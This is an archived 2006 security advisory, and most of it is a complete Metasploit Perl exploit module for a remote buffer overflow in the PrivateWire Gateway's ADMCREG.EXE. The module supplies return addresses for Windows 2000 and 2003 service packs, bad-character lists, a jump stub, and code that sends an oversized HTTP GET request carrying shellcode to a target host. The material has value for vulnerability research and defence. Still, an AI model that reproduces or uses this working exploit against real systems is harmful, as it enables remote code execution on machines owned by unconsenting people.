[EXPL] PrivateWire Gateway Buffer Overflow (Exploit)
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- Date: 30 Oct 2006 16:00:31 +0200
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PrivateWire Gateway Buffer Overflow (Exploit)
------------------------------------------------------------------------
SUMMARY
A buffer overflow vulnerability was discovered in
<http://www.arx.com/products/privatewire.php> PrivateWire software, which
can be exploited by malicious people to execute arbitrary code on the
vulnerable system.
DETAILS
Metasploit module:
##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##
##
# From the author:
# This file may only be distributed as part of the Metasploit Framework.
# Any other use needs a written permission from the author.
##
package Msf::Exploit::privatewire_gateway_win32;
use base "Msf::Exploit";
use strict;
use Pex::Text;
my $advanced = { };
my $info =
{
'Name' => 'Private Wire Gateway Buffer Overflow (win32)',
'Version' => '$Rev$',
'Authors' =>
[
'Michael Thumann <mthumann[at]ernw.de>',
],
'Arch' => [ 'x86' ],
'OS' => [ 'win32' ],
'Priv' => 1,
'UserOpts' =>
{
'RHOST' => [1, 'ADDR', 'The target address'],
'RPORT' => [1, 'PORT', 'The target port', 80],
'PATH' => [1, 'DATA', 'Installation Path of Privatewire','C:\Cipgw'],
},
'Payload' =>
{
'Space' => 8000,
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c\x1b",
'Prepend' => "\x81\xc4\x54\xf2\xff\xff", # add esp, -3500
},
'Description' => Pex::Text::Freeform(qq{
This exploits a buffer overflow in the ADMCREG.EXE used
in the PrivateWire Online Registration Facility. .
}),
'Refs' =>
[
['BID', '18647'],
],
'DefaultTarget' => 4,
'Targets' => [
['Windows 2000 English SP0', 0x77e3c289], # jmp esp USER32.DLL
['Windows 2000 English SP1', 0x77e3cb4c], # jmp esp USER32.DLL
['Windows 2000 English SP2', 0x77e3af64], # jmp esp USER32.DLL
['Windows 2000 English SP3', 0x77e388a7], # jmp esp USER32.DLL
['Windows 2000 English SP4', 0x77e3c256], # jmp esp USER32.DLL
['Windows 2003 English SP0/SP1', 0x77d74c94], # jmp esp USER32.DLL
['Debugging', 0x41414141], # Crash
],
'Keys' => ['privatewire'],
'DisclosureDate' => 'June 26 2006',
};
sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced},
@_);
return($self);
}
sub Exploit
{
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $target_idx = $self->GetVar('TARGET');
my $shellcode = $self->GetVar('EncodedPayload')->Payload;
my $path = $self->GetVar('PATH');
my $path_offset = length($path)-8;
my $target = $self->Targets->[$target_idx];
my $pattern = Pex::Text::AlphaNumText(8192);
my $jmp = # add 25 to ecx and jmp
"\x6a\x19".
"\x58".
"\x01\xc1".
"\xff\xe1";
substr($pattern, 0, length($shellcode), $shellcode);
substr($pattern, 8156- $path_offset, 4, pack('V', $target->[1]));
substr($pattern, 8160, length($jmp), $jmp);
my $request = "GET /" . $pattern . " HTTP/1.0\r\n\r\n";
$self->PrintLine(sprintf ("[*] Trying ".$target->[0]." using jmp esp at
0x%.8x...", $target->[1]));
my $s = Msf::Socket::Tcp->new
(
'PeerAddr' => $target_host,
'PeerPort' => $target_port,
'LocalPort' => $self->GetVar('CPORT'),
);
if ($s->IsError) {
$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
return;
}
$s->Send($request);
$s->Close();
return;
}
1;
ADDITIONAL INFORMATION
The information has been provided by milw0rm.
The original article can be found at:
<http://www.milw0rm.com/exploits/2680>
http://www.milw0rm.com/exploits/2680
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